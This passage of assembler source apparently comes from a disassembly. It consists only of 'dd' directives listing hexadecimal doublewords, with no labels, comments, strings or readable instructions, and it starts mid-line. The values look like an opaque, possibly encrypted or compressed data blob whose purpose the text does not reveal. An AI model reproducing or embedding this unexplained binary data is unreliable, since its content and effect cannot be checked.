0DDA97A0Bh, 1914C0ACh, 10871413h, 355B23E1h dd 0F25A8213h, 0A142057Eh, 85010017h, 0B19F321Dh, 8B113A0Bh dd 0D8532CF0h, 821F395Eh, 659CD844h, 0E34700DCh, 0F5896E7Bh dd 755CDF2Fh, 9A37139Ah, 2504D908h, 0A6A75790h, 73D95701h dd 0D90D2B9h, 1F763F73h, 717F168h, 204C5F0Eh, 5CB3DF81h dd 0B056871Ch, 7E23317h, 470E613h, 42BED89h, 818E71E4h dd 0E9C01D88h, 26D30AFh, 874EE59Ch, 54782EDCh, 0DC409Eh dd 562E4639h, 0BD8D291Fh, 1B7A29Ah, 5EEDC401h, 0BCC0343Bh dd 3E9E7325h, 63781A2Bh, 3A7914F3h, 9C012CE9h, 0CA94F719h dd 0F31920B0h, 0F52F4A9Eh, 7B80C3B5h, 39EA62Ch, 0D82B2F69h dd 283D5D40h, 0FF600F83h, 59490961h, 6F1C2A19h, 1523693Ah dd 0D7E5F80Bh, 0BF06F9E4h, 30BCB5AFh, 17F95B78h, 0B265A615h dd 0F08E3114h, 281677EEh, 3DDD6396h, 836A2Bh, 0F5840EC9h dd 4885E1BCh, 1510D0DCh, 37B02F04h, 13D99DB9h, 2F508CEh dd 0BA30FBA6h, 48063B7Bh, 874FEF4Ah, 6E64B93Dh, 8BF8BF24h dd 0A958631h, 47E8F404h, 1FC97A8Ah, 0D2DD15BFh, 0AD4E3427h dd 14B872h, 0BFD41F8Eh, 0A4339C7h, 369DAA0h, 81768082h dd 2435E4F7h, 0A57B3E08h, 9C005CDh, 10017485h, 552119B5h dd 0C1271A72h, 601CE263h, 8BDA9C40h, 8DD2C95h, 9B7AA8F6h dd 0C8291FCFh, 581F0201h, 5385B5CFh, 130F5FF4h, 0DE019788h dd 0ED6D8030h, 131648A8h, 12E22E1Ah, 0B9D9D1D7h, 0ECEF2907h dd 3E672E14h, 0C88B0B72h, 11E1C583h, 0C183E915h, 61B82Ch dd 49BF7295h, 81400EF9h, 121AC74Ch, 0B5A93A5Bh, 0E04BA6D2h dd 531ED8Ch, 743E4A28h, 5B40E3Fh, 46815A10h, 2F20678Eh dd 0D2831693h, 0DBFC8419h, 0F442C00Bh, 0B9F2272h, 9B9378A9h dd 9269036Ch, 0B5ABB82Fh, 0CE06EBADh, 1B40B298h, 0E8C3272Bh dd 3215A3C8h, 806FF23Dh, 94847FBBh, 48233A21h, 4B5F2631h dd 0BE645FA6h, 38449C00h, 20FFE08Dh, 114E1687h, 499698B6h dd 80FABD95h, 0D2A678E6h, 8E25DC67h, 0B6B1C437h, 0B903DC64h dd 8B0123CAh, 31C090FEh, 5F29789Dh, 0AC33BA03h, 0EAFDE289h dd 0AF857999h, 80661F5Dh, 0A90CF97Ah, 0A11315Fh, 0D40205E8h dd 0B318B6E4h, 1351A440h, 0B8F95F80h, 0E9A095E7h, 7BA2E9D9h dd 8D27EE90h, 517AA220h, 0EC51FF1Eh, 131816F1h, 89207502h dd 0D3323185h, 532E64A1h, 1DC885DAh, 6EB632C0h, 513C1E5Eh dd 0FAFE49BDh, 0A55B6D8Bh, 10A8E12Fh, 23BC6F2Ah, 88270019h dd 0A11354B7h, 2CE3CE98h, 8B9009D5h, 700873F7h, 150BCE42h dd 892AFA98h, 7187D327h, 0F8DCD207h, 70412F40h, 0A1FB00F6h dd 9762BD21h, 8912249Ah, 10C24D8Dh, 0EB5BFD5Eh, 905B58h dd 0F6B98F1Ch, 28029682h, 80035EBDh, 2015C6C1h, 0FB0044FDh dd 536CAE8Fh, 1D1E8DB6h, 7929F9EAh, 0F5810B4Eh, 0C6856437h dd 0E2EB8678h, 0CF8101D0h, 456AEA0Ah, 1105E488h, 73BE5700h dd 0C4284AAAh, 91ED9DD8h, 32820F8Eh, 12326A3Dh, 33F5BF40h dd 0BB625FFEh, 0BDA2EE40h, 257DA5h, 0D8094D0Bh, 3CDF60D6h dd 18484075h, 81897BF6h, 0F0DC6EF8h, 7902B562h, 0B17E23E9h dd 0DEB92Ch, 4F943AA8h, 8A871C08h, 0BCB96059h, 4A7A01D1h dd 6AB267E8h, 0B3C4D683h, 61242775h, 7701808Ch, 0C1858B57h dd 5E381D38h, 0CC8EB9A5h, 0E2C0F454h, 0A05237EDh, 80C4A239h dd 40D9B2E4h, 0B5E9F88Dh, 869DA790h, 0CC71D100h, 8F289C1Ah dd 4A840175h, 598D2172h, 587A7E31h, 46AAEB19h, 264165C9h dd 0BFB7F0E3h, 808B0ED9h, 4B95F1CEh, 83C8C05Fh, 5E9801E1h dd 0DBA0544h, 33E709FBh, 637EA42Eh, 1C467Ch, 0DB6A3ADEh dd 6323F68h, 85294A64h, 3E8983CDh, 0B5891007h, 50F96D9h dd 0F86061F8h, 0DB81C087h, 53A3ABC5h, 0DB4EDB18h, 72598282h dd 28E3F895h, 27B549E7h, 4BEF293Dh, 32175140h, 0D058060Ch dd 54C2BF5Ah, 0F535E895h, 0A9C051B7h, 0AD7F66A1h, 0B23773CAh dd 0CD204580h, 12DEC2F1h, 41EA03Eh, 1B28C571h, 7A845B72h dd 36ED01FBh, 70937F60h dd 0BC58261h, 8A15604Ch, 25012A46h, 39735949h, 0C960A521h dd 9B4C026Ah, 0EE580AD2h, 7173ED89h, 71A1F70h, 52A2AE6Dh dd 8B9C803Dh, 1A92499Dh, 0B5B70BAEh, 0C41817AFh, 0E0D15099h dd 7B12F116h, 9E1401E3h, 29176EA1h, 5507AC8h, 11BD89DDh dd 3BE4FD2Fh, 0F537D18Dh, 2F7A6A05h, 0DB23047Ah, 827F5403h dd 0F24BD3EFh, 0B26445ADh, 1ADD32EFh, 200EE822h, 63264988h dd 0DE589A00h, 0BA1337B4h, 4C79BBh, 0EDFFC081h, 8B5B11D6h dd 0B86658A8h, 815A9B00h, 3E5DBECBh, 4A33A92Bh, 7FED3B6Dh dd 0E2A529ECh, 8050068h, 0D6A89B52h, 7BE73BF0h, 0B21FFC8Eh dd 0D159C722h, 0C44221F4h, 7607CEE2h, 3C17BC5Ah, 6452FE16h dd 3E310006h, 0C0CA44C6h, 0FE642600h, 0B217D114h, 92D60A3Ah dd 16DD54D0h, 6FBD52ADh, 0C00A0D47h, 3F6A4866h, 1D2330h dd 931CD428h, 583BFB5Fh, 2E62459h, 0A46BC110h, 0E0056DF5h dd 0B5BD8BDFh, 372C3194h, 5661D1Dh, 814009E4h, 0A2B984E3h dd 0C2802564h, 7B506E10h, 240950D5h, 7C04476Dh, 9965FF8Bh dd 0D5171794h, 0C29C9ABFh, 0CCB5ACFFh, 0BD091725h, 5DD8B249h dd 0C56FD2E6h, 0A588C500h, 95900A9Ah, 89771B26h, 5B0D8C60h dd 79FC0014h, 7EC383Dh, 0A7057A6Ch, 619B1C5Ch, 0E0E3F6FBh dd 9D9E7E6Ch, 0CEDE302h, 880F5901h, 579F526Ch, 0EB338279h dd 0E99D8040h, 0F29E3AE1h, 7A55F1C9h, 3D0CA14Ah, 0FD3761A5h dd 80178F0Eh, 221291F0h, 31DF09BFh, 5D035ED8h, 2D5075E9h dd 0A8F88CD5h, 3511E19Ch, 0BF016A17h, 75BC91D8h, 23828A73h dd 8B00093Dh, 32EFC1FEh, 43C680Ch, 28F66F4h, 0E00D4B57h dd 0A095FFD5h, 0BD32E91Ah, 0DF58FDFEh, 0A9C52030h, 3F28C929h dd 852C91C2h, 0AF0710Eh, 7C6A6350h, 6E405605h, 0C3146112h dd 0D6E0C1h, 0E09104Bh, 78C53C2Fh, 0ACDA011Ah, 0D2D41CA4h dd 0C0E4C55Ch, 311D34CEh, 27431BF5h, 0C8D129B3h, 1FC7DD5Bh dd 3F17E62Ah, 670EDF3Dh, 114A6DBh, 410028F8h, 7DD427E6h dd 25E9C372h, 1ED30DEDh, 2C4E0D0h, 891BFC6Eh, 0DCAB018Dh dd 44D04EDDh, 0C7A22322h, 4B8BC25h, 8004C24Bh, 4585290Bh dd 132AD4BFh, 351F6189h, 0C08B111Ah, 1D696E2Eh, 6F4036FFh dd 259D0BBBh, 33F6BD2Fh, 22134356h, 9D8D0BD0h, 6DDFAE65h dd 8C53A2Dh, 0AD46B21Ah, 0FEA8101h, 680EC2B0h, 5EB49733h dd 0DA6E6FAh, 7B07D1A4h, 69C02082h, 43411A41h, 0B7FB1C0Eh dd 144195E1h, 0AC091892h, 0F908282h, 97366480h, 4D0F9144h dd 0E0D888B2h, 0C9B8DE74h, 57F047h, 6035627Bh, 8B505F61h dd 0EE90CA26h, 682F1B24h, 4034EA56h, 1B69CB4Ah, 0DC06DC7Eh dd 0C95FB105h, 7C03E8ECh, 0C80A6EEAh, 657FEF9h, 60457C61h dd 0BC00E6BFh, 66905B26h, 27D99AB9h, 0B5515650h, 2FEBF601h dd 24812475h, 0C2076BBBh, 3C9245Dh, 34C18080h, 9B8D8BB3h dd 2587C098h, 4F9DA0Dh, 119D09ACh, 2A521426h, 8A3287F6h dd 5C0867DEh, 33EDC06h, 1291BB77h, 38F0C2B8h, 0A34A128h dd 34B8FA55h, 0CDB77780h, 0F100932Eh, 604F5CA8h, 48A2D59Eh dd 61124BE7h, 0D4C73220h, 810BC466h, 2DD3CC6h, 40AC53Bh dd 4790D861h, 89B96003h, 0F00D08ECh, 2F86D768h, 20D78B3Eh dd 189905ECh, 511D00FCh, 74DF284Ch, 7A00AC6Eh, 6967E5E7h dd 0FEAE33FFh, 59CE388Ah, 24048180h, 495C20FBh, 8E85604Ah dd 7952A3FAh, 0CA61FA26h, 3E79C9h, 198EA6DCh, 0AA0057A1h dd 4B50F8EEh, 26C7037h, 0CBDAC72Dh, 0E36C3106h, 6DB5290Bh dd 0EA64F523h, 7D4F2BEh, 849313DEh, 0BA007FB5h, 3516E642h dd 0B58538CAh, 70B4FB4Bh, 2012D9D2h, 0F40B3011h, 0A1CF16Dh dd 65E12975h, 0B33DF7E4h, 0BF4F8063h, 0BE0E3918h, 0E827F757h dd 70E25C69h, 109D8AB7h, 182B3D7h, 34CBA0B1h, 2012BE53h dd 0F709BAC4h, 137EDB1Dh, 4652D2AEh, 0D8570F0Fh, 0FD807864h dd 5F634140h, 0A6004B77h, 180C7226h, 9D698839h, 5A774AC6h dd 0FEBF3103h, 0C10104BEh, 0C13A8B58h, 72173F7Dh, 6C603444h dd 0FE305486h, 8ED637BAh, 5B53D22Eh, 2A07A0E2h, 8A801F61h dd 0CD9D23DCh, 30AC7792h, 811948D5h, 1145BD23h, 0CB5E8B08h dd 57294582h, 9C30873Dh, 0B9F9BD89h, 21F12015h, 27BE2E19h dd 0D1947301h, 132DC011h, 2EB1A80Bh, 7FA510E8h, 0F2640A5Ah dd 596E3E1h, 0DD5F8270h, 0E43D4587h, 28EF0F9Eh, 9AA9CA3Fh dd 398212A9h, 0C6D41F6Dh, 58B10F2Dh, 0D2A0A23Fh, 2D7F5A10h dd 4B62802h, 0E0BA1B23h, 0B02EA31Dh, 36B22430h, 0FB8A4E1Ah dd 0F99027F1h, 5802FEC0h, 0A4DF1882h, 594BC052h, 4FEA45Fh dd 834DADBAh, 0BD0E8169h, 239825E5h, 9BC6C019h, 3FC2FBCh dd 0B8C4FA4Ah, 0D89088FFh, 3F28127Ch, 2F49AE3Ch, 30309300h dd 252C2BE2h, 3EF15FF6h, 0F9BB9D00h, 2EC5763h, 8F43DDB4h dd 2E62A066h, 58DC74F4h, 9C126FDAh, 19330421h, 0D1F50A2Eh dd 49046CC4h, 0E781001Eh, 0FEDAD5h, 985D6814h, 0C4B2CC3Ch dd 2609B19Ah, 810EC8D8h, 32D7E2F5h, 0CAF894Ch, 0B16C3446h dd 29004CAEh, 1E0E834Eh, 99E50A5h, 2644D205h, 0B7B5CA46h dd 67C40A30h, 0EE0D17D1h, 62D16DDh, 1A84CCB9h, 42F9B5A1h dd 0BECAFA96h, 2271EDC1h, 770429CFh, 0E55925h, 0FC3F688h dd 0A60008A9h, 997EC1E2h, 9549B763h, 1FA1E1h, 245F9D68h dd 1497EF08h, 6381AB2Ah, 2310F7B0h, 0D9026A84h, 1F442Fh dd 0DD11F76Ch, 5020A7DEh, 28808FAh, 97BB02C3h, 7CB0363Dh dd 37A68144h, 69E50907h, 2EEEF4Dh, 46FC8A56h, 0A00F757Ch dd 7BF5133h, 58966FA7h, 6BB72B5Fh, 0A7B85C80h, 98CE4F2Ah dd 61B049B1h, 0FDEC885Bh, 93B16700h, 0B675D182h, 8102060Fh dd 0E5A85E9h, 1BB574E7h, 1915CBEh, 0F4D0F528h, 0BD29801Ch dd 0BC21C922h, 0D425126Bh, 1ECB82EAh, 54016800h, 0F120B07h dd 59981184h, 0D64E0CBFh, 0BDB188h, 7E64A6E2h, 34816146h dd 63C2462h, 0DC02F412h, 1E945795h, 0C8C6800Bh, 51520E90h dd 0BF023D4Ch, 48775B31h, 5BB40C8h, 90FC5141h, 49951201h dd 0C3D5472Ah, 5275206Eh, 41B50B6Ah, 9051F47h, 612BD388h dd 5062DDF0h, 7C97E9EAh, 14E0280Ah, 0B4A6EDC2h, 3933358h dd 0DDB58D48h, 0F5B53D40h, 50888497h, 487E8Ch, 1C84C737h dd 446B7323h, 91205909h, 0AE0880E2h, 288F38A6h, 0E79F8905h dd 5053883Fh, 0EB4493BEh, 7ED52CAAh, 81A51060h, 25F746C9h dd 445F2BA9h, 0F08A7A87h, 784E93D0h, 4E3E9D30h, 0C359A4EFh dd 8B21ED02h, 972944B5h, 0CBC3D5EDh, 802DAB54h, 421FA29h dd 0FE85C720h, 0C729FC1Bh, 0F8D97E80h, 38725BAh, 9740C3CFh dd 256C2893h, 5FCD60FCh, 0A99F99C3h, 89C94BBBh, 20F18DCDh dd 0F3B87169h, 0ECA5A200h, 4FE57FE2h, 203CB053h, 2552946h dd 0E79B2AADh, 9480308Fh, 2364116Ch, 31B7BB17h, 13351E04h dd 601963AFh, 0E682D1E2h, 0EF721F09h, 99D9BD24h, 196F4092h dd 65A5B500h, 5354F50Ch, 8059FC0Bh, 0D2ACA538h, 6E7B2CF1h dd 0B6D7128Ch, 0D1408789h, 9048EE96h, 8EF719CFh, 205C6AF3h dd 0D2947418h, 917467Ch, 806BE5E3h, 5AADD328h, 0D2A2A31Bh dd 2F660C02h, 0BB104181h, 0EA147820h, 0C3E13B67h, 5CAD830Fh dd 15BC56F3h, 9809278Ch, 5660C560h, 7949469Fh, 0D9C9B85Eh dd 7D400204h, 5ECB8AEh, 1747AEF8h, 2C14F8D8h, 5C67A355h dd 0C3412060h, 839913C0h dd 0A7F97BDh, 0D401C7B3h, 5074BD2Dh, 0BE3BC167h, 0C16E5E50h dd 74C8ED00h, 0E7D5C551h, 975B8619h, 82D6EE56h, 13055C5h dd 285DBD23h, 0CE9C78E4h, 7893D27h, 0A17A3C19h, 0C6FA8Bh dd 905882B3h, 54D11630h, 843A12E9h, 0A038C47Ah, 6169F38Bh dd 6DC2095Ah, 75D0C06Ah, 1097346Fh, 1E7859Dh, 92BCB0F6h dd 0E01A59AEh, 33043945h, 0B5FFAB20h, 945177F4h, 0D29E4089h dd 8B0EEE0Fh, 629A46EDh, 0EAE77D1Fh, 7FD2CA0Fh, 8E850B37h dd 180F5B2h, 480B999Bh, 982D47C0h, 52D9947Bh, 0A8953A70h dd 12BB61E6h, 0FE1BA58h, 8D89896Dh, 29ED3ADAh, 15612CB9h dd 0FAB901C5h, 1902D2ECh, 4FBFFD9Dh, 4C7B460Dh, 50078A93h dd 0C5A035F2h, 527BBA49h, 7B5B2A00h, 0B19D89A6h, 0E9C72D6Eh dd 816310B5h, 0FE1C5FC6h, 0CBCC3E20h, 0FC7C26E9h, 0EC53121Eh dd 0D222D87Bh, 5F982580h, 6CE811Bh, 1172B906h, 80AA1C33h dd 2EF8B1Ah, 0FE47FDBh, 22B038Dh, 525AD176h, 60BB0E81h dd 2EDF2082h, 10B289B0h, 2C99750Fh, 4488B8D6h, 7E5A5461h dd 0BEE277B3h, 0A4D340D5h, 84F2E8ACh, 32304E04h, 2F8681Fh dd 72C29D2Fh, 7E83E982h, 28CA6842h, 0DEAF56h, 0B92B255Dh dd 8D8B0DDAh, 828208EAh, 572E197Ch, 56C59A54h, 44AEB3C5h dd 898B5FD8h, 7DB6B2Ah, 9BB402C0h, 0E67DCBFAh, 49BD3108h dd 4190130Fh, 67B8661Bh, 0C1203B04h, 1DD59F3Eh, 40FF2529h dd 80F755ACh, 614A5BE2h, 37D1685Ch, 0AB07254Ah, 17B7F02Ch dd 99905FDAh, 172DDC4Bh, 5A0F5080h, 8A9DD187h, 3F5935D9h dd 9C000B6Eh, 7EE1A755h, 4F17B7B9h, 499D6F15h, 0ECB10826h dd 0A0B4B853h, 505B2F31h, 1869CB10h, 0F7E7EC00h, 557B222h dd 0C7EE6941h, 0C5708373h, 766023Ch, 7CE55A36h, 0C281F060h dd 7505C9FEh, 85315F57h, 2651CCE9h, 8B9B3BF7h, 0BE1E4A77h dd 59C075DEh, 0FD1F6DC5h, 8B0F390Dh, 193C1F12h, 1E559D80h dd 0D448BA62h, 81093259h, 0D19CFB5Ah, 0CBC81ACCh, 0A96602E9h dd 0F4B35E17h, 95AAEC02h, 660DEF6Dh, 7C7E1Bh, 0EDFAADDFh dd 9D4BC67Fh, 0E4082700h, 2BDB339Ah, 35929BDh, 9D0104BCh dd 2F7CB8A5h, 0C05BED58h, 6329EBE8h, 0C02D071Dh, 8C20C04h dd 16396FEEh, 5E497A22h, 110F3513h, 115F801Dh, 36F675h dd 350AE1FBh, 81858928h, 5B4B234Eh, 74788B41h, 6001DE50h dd 755817C7h, 5C89B967h, 75541309h, 0DBE0E7C7h, 2F6977h dd 973316C3h, 786617E5h, 55EC2600h, 3929D881h, 1E59F049h dd 856ADC80h, 906EB4C1h, 0C9EEB833h, 1F72BF07h, 0EFF16BF9h dd 0CBF03F5h, 2EF201F7h, 0F31FF11h, 16EA628Ch, 47C85BF8h dd 0B39A0E64h, 0F74B34A9h, 0F35D7A98h, 99BF334Ah, 8158E45Bh dd 0FC4CEB00h, 0BF0F14BDh, 7412C1D1h, 0F3571FE9h, 0D0C50E00h dd 78B06E30h, 18F0553h, 91AD8533h, 0E6E983CCh, 0B800E471h dd 0E3D1C8A0h, 0DD7E001Dh, 0C5293515h, 8016C3Dh, 110C4133h dd 2824984h, 0EF83F38Bh, 8D12C65Eh, 0AD3004C4h, 0C1B826h dd 2808CBF4h, 0CC32D78Bh, 56008D72h, 0B8E46AFDh, 25FEE3h dd 20E5580Ch, 0BA6D2D0Fh, 85DA0E00h, 0E09D69D6h, 0FE6B063Fh dd 8533789h, 0F921D160h, 1AB9D61h, 0DF68A4Fh, 0F8407149h dd 0DD00AC74h, 9A99BC88h, 602843B6h, 97911004h, 1100C6BEh dd 182B85E0h, 0D4425Dh, 0B68BDD1Fh, 9D5F382h, 3D189A71h dd 3F6812EFh, 9C4F0094h, 226714B9h, 0DF00BF48h, 35E2B58Bh dd 30CC39DDh, 0DA2096F7h, 5E29CDF9h, 37E2202Dh, 0F82333BCh dd 9D6C0130h, 18833FE3h, 64FC88CBh, 968D9D01h, 0B9A67798h dd 0B6EFD081h, 0D388C25Fh, 0FA52807h, 36733D2h, 0FB06DE30h dd 0C09AE832h, 0D207C621h, 0C50CC973h, 1885F093h, 218F60C2h dd 77355245h, 2E449900h, 1DDB3AAEh, 0E4854467h, 78CF413Fh dd 0DDF70619h, 79D4FA19h, 0C9630667h, 95B12DAh, 1A21F460h dd 1D079D5h, 136E3D26h, 0D99E92ACh, 0DA7800E3h, 9C57F1DBh dd 48382E80h, 4E980315h, 1E8FBAA9h, 212B0830h, 483054h dd 2EC6E8D5h, 29D3B136h, 63471902h, 882BA80Ah, 0C63AB0ECh dd 0DE9D6702h, 0CE315B3Fh, 9D5FF710h, 3E6D5A00h, 0C81CF330h dd 9F3B0A33h, 1154E2E9h, 483380D6h, 8C269810h, 74F2A44h dd 5D8C482Bh, 0A6286091h, 4C055A3Dh, 0CA6E5F98h, 3063E022h dd 3776D213h, 0A1222346h, 0D20BCA00h, 4A895D4h, 14E70335h dd 73906E97h, 780209DFh, 0BCA0E6F6h, 0C865AD16h, 82053000h dd 71D36BE3h, 5C5B007Fh, 0A8EE95CAh, 4335F70Fh, 0C1EA308Dh dd 0A1FBBC73h, 26D1CC48h, 0C8001218h, 3D4B584h, 0D9BEC1C3h dd 195EE8B8h, 0FC32D2ECh, 9B0CE7FBh, 0D2E4C589h, 50510CD8h dd 8DD1EBF8h, 0E1A22000h, 36C2994h, 0F617003Ah, 0B2EEDCAh dd 0D80424ACh, 870FCC41h, 1033BC83h, 7C0370D0h, 0C10C98EAh dd 9975C238h, 66D0294h, 327C0A64h, 2A461C44h, 489D661Fh dd 0D2C4533Fh, 9D5EF640h, 3939CFADh, 27630097h, 9C4213B3h dd 88A16377h, 71063DC2h, 50606FEBh, 0FD6C2098h, 7C657400h dd 5E7DE638h, 0C2261419h, 0E3DF9C25h, 39D21507h, 641833E7h dd 0DCC409Dh, 12C2D2h, 656ED47h, 0FE65D995h, 103C1948h dd 194CD8A6h, 6DB9223Ch, 9BC816B4h, 0C240C0C4h, 6F31519h dd 6EFBAAFFh, 0A40221BDh, 0F42E2454h, 90CC40F6h, 34858430h dd 9760CA44h, 34921C9Fh, 8B1FC000h, 45910B51h, 17120009h dd 0C28767CFh, 3891BD89h, 0FD189AF1h, 0E0384F00h, 1E3EA8A5h dd 0C66E302Ch, 0C702B89h, 49CA6B1Dh, 0DE8ACE41h, 0CBE8D2E0h dd 0F8E44C32h, 4CA7D310h, 166040E4h, 60E0F824h, 394CFF87h dd 2A9D9E7h, 89AF54h, 155E6D3Bh, 0E84030D4h, 0D10F8CCDh dd 42F22E98h, 40EE4C44h, 0F45F972Ch, 41F8A8E7h, 0F9C33E02h dd 61239052h, 35D21107h, 3CCE13E4h, 0D209C800h, 921C677Ch dd 471F42ECh, 5485AA7Dh, 3804ED44h, 6CC8E8D2h, 147E8C64h dd 2B483876h, 0CCBE05Ch, 364503D2h, 6DD61766h, 0A4C81492h dd 0A64183ACh, 28CC2441h, 97980800h, 70B79230h, 0E9159EE3h dd 8C71D432h, 14483704h, 23624698h, 482F5320h, 0EA0E0A3Eh dd 40DCC405h, 3A18D190h, 3F22BA00h, 0CDC10A3Eh, 2CA49017h dd 7CC0C752h, 7C2E9B46h, 87F60681h, 0A898188Ah, 0E4010D46h dd 1636E79h, 88F30CDBh, 7900DC21h, 40AD4C04h, 93E50E4h dd 0B3374180h, 9F0B4402h, 30DA580Dh, 6C0879E2h, 64DAF163h dd 621F4FF2h, 0E82A0179h, 0EAE53AB0h, 0BE67189Ah, 17E6F0B6h dd 0B92BF730h, 50F34440h, 412CCCA6h, 0A26C6322h, 5CE930D2h dd 0E7AE9500h, 1ECD127Eh, 0D022549Fh, 47F9005Ah, 9499CC83h dd 7201132Bh, 0AA8E5E38h, 0C5F096A0h, 9C410CF1h, 39F890FFh dd 0E675EB01h, 1F9EE5E1h, 412F4980h, 0A0FA962Ah, 3E5CB400h dd 0E4385860h, 0ECF62E95h, 0D9DFC074h, 8848D3ABh, 138E84D0h dd 4B10DC14h, 0DCF867A3h, 189E0C48h, 0F900E169h, 0DB07BD48h dd 0C8C7A8Ah, 3B241A63h, 0BF581528h, 1B38183Ch, 0F9681D31h dd 3A1479BEh, 900F0C0Fh, 2C0A215Dh, 9D68C0A8h, 63463FDFh dd 0F800D022h, 1A19D60h, 3B61E12h, 1A036F97h, 807731F0h dd 13774458h, 4C27C911h, 3309899Eh, 6A79E814h, 22E14663h dd 0D81D07F3h, 806B7D79h, 10915463h, 1C94742Eh, 0D59D9981h dd 18101C9Fh, 0D40062D0h, 5DA94796h, 2201065h, 463361C3h dd 4097139Fh, 0B980F211h dd 41239BAFh, 0A765A3Ch, 9867D175h, 939D3111h, 8BD00A9Dh dd 40D3C498h, 0C89D65FDh, 561D0027h, 4BD610CDh, 0A28F6EFh dd 5899C006h, 2518CF79h, 4A8FAC00h, 635F4F44h, 4C30FDA1h dd 32048CD5h, 1E980F48h, 4E202562h, 38B4482Ah, 28DC1B6Ch dd 5A9AF10h, 205C1AD9h, 0CF8858CFh, 0A8EDAAC0h, 1AB30A1Eh dd 89ACDFF8h, 29837B0Fh, 5823E0DDh, 9D6B012Fh, 237B3FE2h dd 63FB803Ch, 4804D9Dh, 0DEFE846h, 8C7C813Ch, 0A4430013h dd 0C0946983h, 99C7837h, 4D8B8702h, 0D68C047h, 149F4C64h dd 977EC7h, 0DE481A67h, 800D1038h, 9552F3B2h, 29B016Bh dd 98B3153Ch, 7097891Ch, 4083CB11h, 28A97F8h, 0A20FA4E8h dd 0C66F9C0Ch, 164410D0h, 9794F23h, 9465295Ch, 0BC60F0E4h dd 0C524E8B9h, 6340D095h, 0A0123C42h, 18513FA4h, 99C36DDEh dd 711E4419h, 8600478Ch, 0E0ED113Eh, 9C400933h, 88A0B2B7h dd 0DCCC4C12h, 4676EC94h, 93A3923h, 97209F63h, 80D19148h dd 0C711B918h, 0A4F00073h, 0D837EB49h, 1D060B52h, 40804CC8h dd 0D1DCB1D8h, 0BB6019A2h, 921801A3h, 0ECD064CFh, 0D5CDF4F7h dd 0FE10F8C4h, 62850512h, 0ED405D9h, 0DC8408D1h, 164839C0h dd 84564398h, 0D8803155h, 48104092h, 0D1FC24A7h, 0AC8E008Ch dd 2DC90361h, 0A8C5AE17h, 0D022F62Ch, 483530D8h, 364E98EEh dd 51882Ch, 0E496482Dh, 5B8EF4C3h, 87703B02h, 0A08CC266h dd 91A55994h, 0CF0301B8h, 0EC22DBF9h, 6028213Dh, 0C8A0F48Ch dd 45450D5h, 0F7E23AC4h, 85EA20h, 24D1B35Fh, 16B883F5h dd 61506800h, 4D093A9h, 2050909Ch, 15481A1Ch, 90662488h dd 465E34AEh, 84DB019Ch, 6EA0D12h, 9E18A429h, 31E9F11Bh dd 751FB979h, 0C79CD43Ah, 7080140h, 0E2C5E539h, 54100AD5h dd 12A80ABCh, 165C016Fh, 25E6BAC3h, 0A2DC63A0h, 0B56D309Eh dd 0E7CB7700h, 0EBCC4210h, 5F09EB3h, 34081Ah, 3EE7580h dd 9729F07Ch, 9F7134F4h, 0C33EB918h, 35481EDh, 4D911E53h dd 3D94CC50h, 9984A815h, 0D25A288Fh, 6820A0B4h, 973980F3h dd 74D4DE24h, 0C144484h, 71F48092h, 189F7928h, 463400E8h dd 9DA39A21h, 0A7A38F98h, 6D946000h, 523E410Ah, 0C7631235h dd 0D76008BAh, 114834C0h, 943CEB98h, 482C50B0h, 1FC93400h dd 3B72D663h, 0CD0B03D8h, 52DCC3DDh, 74B75A99h, 15444590h dd 2A6F1917h, 403B89E8h, 7E5F970Ch, 9440D148h, 8C25E8F4h dd 1917C100h, 5A127532h, 7930015Dh, 0C3C0EDAh, 65D422E4h dd 0A8606060h, 0EC34D210h, 5800960Bh, 0D20C08C7h, 51B00FCEh dd 0EC84206Ch, 0DE700D0Dh, 2C0BB8D3h, 0F4C19F88h, 27FC178Dh dd 0B045788Ah, 7E074640h, 63687908h, 40F5C4D1h, 0BA79D61Bh dd 5E1600B9h, 42254C0Ch, 949C631Eh, 23C76E89h, 0F086BEC8h dd 0F802CC37h, 91290019h, 0FC788B14h, 410463F1h, 0A01A03D4h dd 1CA48C95h, 0E3058C0Ch, 0F9636D79h, 1204828h, 77B179DBh dd 0FBD002BDh, 6D920999h, 426BBCE8h, 5AAF23A8h, 6C502011h dd 14CAA5E8h, 6DC0D0C8h, 12D366D2h, 0CBA05097h, 0C0F0C8D8h dd 0C58CFD5Fh, 0FC44985Ah, 0C4F40FE9h, 0CB9318B7h, 4565B895h dd 0EB94440Dh, 643010ADh, 2A9F0C90h, 9D31C16Eh, 0DDD44500h dd 5265874h, 6AFC26D8h, 9946741Ch, 71EBEF03h, 40099EC1h dd 19527797h, 1AE09970h, 4609AE5h, 8C13053Ch, 88D88EBCh dd 0B291C027h, 1902F721h, 201A6315h, 39084038h, 6EDF5BCFh dd 12071840h, 0FE5B570h, 151F0BF5h, 63657540h, 6F149847h dd 1268E4EEh, 0E4D7621Dh, 0F4B07421h, 2B4E1436h, 0E9E2388h dd 0ACE2F443h, 0A859B280h, 5557003Ch, 0BB9273C0h, 0BC504BFBh dd 410507B9h, 85309A06h, 69D84C84h, 0C81D80E6h, 3E802311h dd 0DC4265CEh, 9FA41050h, 6100B099h, 0B76792Fh, 44120055h dd 0BC8B7156h, 0D30608C9h, 94C24EF2h, 2B7F1DC9h, 5D78C0AAh dd 0C3F69A3Ah, 457C3Ah, 843524FCh, 5B7588h, 64A18048h dd 6BCC3A81h, 0DB13B09Ch, 0ABC3EC08h, 4A71780Ch, 0CF80F900h dd 0E1705ACCh, 0D6971599h, 0B82FDCC5h, 2891EC17h, 0C2E68880h dd 110057EFh, 99860653h, 0B31326Eh, 0DA89635Fh, 28E44445h dd 667BF60h, 0D61D010Bh, 977831A7h, 80B8A2C4h, 0CC2C3BAEh dd 36441CEAh, 0A018B635h, 13C9727h, 0B2106FA7h, 93918BF8h dd 88D0C220h, 0E8FC37E2h, 14BD2CBEh, 0F346742Ch, 3EA80701h dd 304301DBh, 0CC00570Ch, 10CE1D81h, 0C01E9FA1h, 4A4B16E9h dd 0DB00E7ECh, 25377ED6h, 262FD274h, 0D6031D1h, 2880D63h dd 606005E8h, 0E20075EBh, 0CA1D158Bh, 281B30FFh, 460100Eh dd 0D49A1CDCh, 8F1881E0h, 0A89C753Ah, 0E63E7C88h, 18FF281Ah dd 465ECCBCh, 109D0099h, 89C190B5h, 3FDC02D3h, 4243C84h dd 26D9EC51h, 0BD01AB18h, 984D0FA5h, 0F4489667h, 0B49930B5h dd 76900E70h, 9DF91CB9h, 2809B718h, 820F3FE7h, 1FA241Ch dd 8B8622F7h, 5785A28h, 9041E98Fh, 0D4130314h, 0E59DE8h dd 